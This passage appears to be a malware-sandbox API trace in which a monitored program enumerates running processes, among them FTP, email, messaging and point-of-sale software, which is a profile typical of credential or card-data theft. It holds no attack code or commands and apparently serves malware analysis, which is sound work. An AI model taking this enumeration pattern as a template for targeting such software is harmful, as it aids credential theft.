out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0177.849] lstrlenW (lpString="classbuck.exe") returned 13 [0177.849] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0177.849] lstrlenW (lpString="x-deutschland.exe") returned 17 [0177.849] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0177.850] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0177.850] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0177.850] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0177.850] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0177.850] lstrlenW (lpString="lawsuit.exe") returned 11 [0177.850] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0177.851] lstrlenW (lpString="3dftp.exe") returned 9 [0177.851] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0177.851] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0177.851] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0177.852] lstrlenW (lpString="alftp.exe") returned 9 [0177.852] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0177.852] lstrlenW (lpString="barca.exe") returned 9 [0177.852] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0177.852] lstrlenW (lpString="bitkinex.exe") returned 12 [0177.853] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0177.853] lstrlenW (lpString="coreftp.exe") returned 11 [0177.853] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0177.854] lstrlenW (lpString="far.exe") returned 7 [0177.854] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0177.855] lstrlenW (lpString="filezilla.exe") returned 13 [0177.855] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0177.855] lstrlenW (lpString="flashfxp.exe") returned 12 [0177.855] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0177.856] lstrlenW (lpString="fling.exe") returned 9 [0177.856] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0177.857] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0177.857] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0177.859] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0177.859] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0177.860] lstrlenW (lpString="icq.exe") returned 7 [0177.860] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0177.860] lstrlenW (lpString="leechftp.exe") returned 12 [0177.860] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0177.861] lstrlenW (lpString="ncftp.exe") returned 9 [0177.861] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0177.862] lstrlenW (lpString="notepad.exe") returned 11 [0177.862] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0177.862] lstrlenW (lpString="operamail.exe") returned 13 [0177.863] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0177.863] lstrlenW (lpString="pidgin.exe") returned 10 [0177.863] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0177.864] lstrlenW (lpString="scriptftp.exe") returned 13 [0177.864] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0177.865] lstrlenW (lpString="skype.exe") returned 9 [0177.865] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0177.867] lstrlenW (lpString="smartftp.exe") returned 12 [0177.867] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0177.867] lstrlenW (lpString="thunderbird.exe") returned 15 [0177.867] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0177.868] lstrlenW (lpString="totalcmd.exe") returned 12 [0177.868] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0177.869] lstrlenW (lpString="trillian.exe") returned 12 [0177.869] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0177.869] lstrlenW (lpString="webdrive.exe") returned 12 [0177.869] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0177.870] lstrlenW (lpString="whatsapp.exe") returned 12 [0177.870] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0177.871] lstrlenW (lpString="winscp.exe") returned 10 [0177.871] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0177.871] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0177.871] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0177.872] lstrlenW (lpString="active-charge.exe") returned 17 [0177.872] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0177.873] lstrlenW (lpString="accupos.exe") returned 11 [0177.873] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0177.873] lstrlenW (lpString="afr38.exe") returned 9 [0177.873] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0177.874] lstrlenW (lpString="aldelo.exe") returned 10 [0177.874] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0177.874] lstrlenW (lpString="ccv_server.exe") returned 14 [0177.875] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0177.875] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0177.875] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0177.876] lstrlenW (lpString="creditservice.exe") returned 17 [0177.876] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0177.876] lstrlenW (lpString="edcsvr.exe") returned 10 [0177.876] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0177.877] lstrlenW (lpString="fpos.exe") returned 8 [0177.877] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0177.878] lstrlenW (lpString="isspos.exe") returned 10 [0177.878] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0177.878] lstrlenW (lpString="mxslipstream.exe") returned 16 [0177.878] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0177.879] lstrlenW (lpString="omnipos.exe") returned 11 [0177.879] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0177.879] lstrlenW (lpString="spcwin.exe") returned 10 [0177.879] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0177.880] lstrlenW (lpString="spgagentservice.exe") returned 19 [0177.880] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0177.880] lstrlenW (lpString="utg2.exe") returned 8 [0177.881] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0177.881] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0177.881] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.882] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.882] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.882] lstrlenW (lpString="svchost.exe") returned 11 [0177.882] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.883] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.883] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0177.883] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0177.883] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.884] lstrlenW (lpString="conhost.exe") returned 11 [0177.884] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0177.884] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0177.884] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.885] lstrlenW (lpString="conhost.exe") returned 11 [0177.885] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0177.885] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0177.885] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0177.886] lstrlenW (lpString="powershell.exe") returned 14 [0177.886] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.886] lstrlenW (lpString="conhost.exe") returned 11 [0177.887] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0177.887] lstrlenW (lpString="TiWorker.exe") returned 12 [0177.887] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0177.888] lstrlenW (lpString="sppsvc.exe") returned 10 [0177.888] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0177.888] lstrlenW (lpString="powershell.exe") returned 14 [0177.888] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.889] lstrlenW (lpString="conhost.exe") returned 11 [0177.889] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.889] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.889] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0177.890] lstrlenW (lpString="NS2.exe") returned 7 [0177.890] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.890] lstrlenW (lpString="conhost.exe") returned 11 [0177.890] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.891] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.891] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0177.891] lstrlenW (lpString="dllhost.exe") returned 11 [0177.891] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0177.892] lstrlenW (lpString="winhost.exe") returned 11 [0177.892] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0177.892] lstrlenW (lpString="cmd.exe") returned 7 [0177.892] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 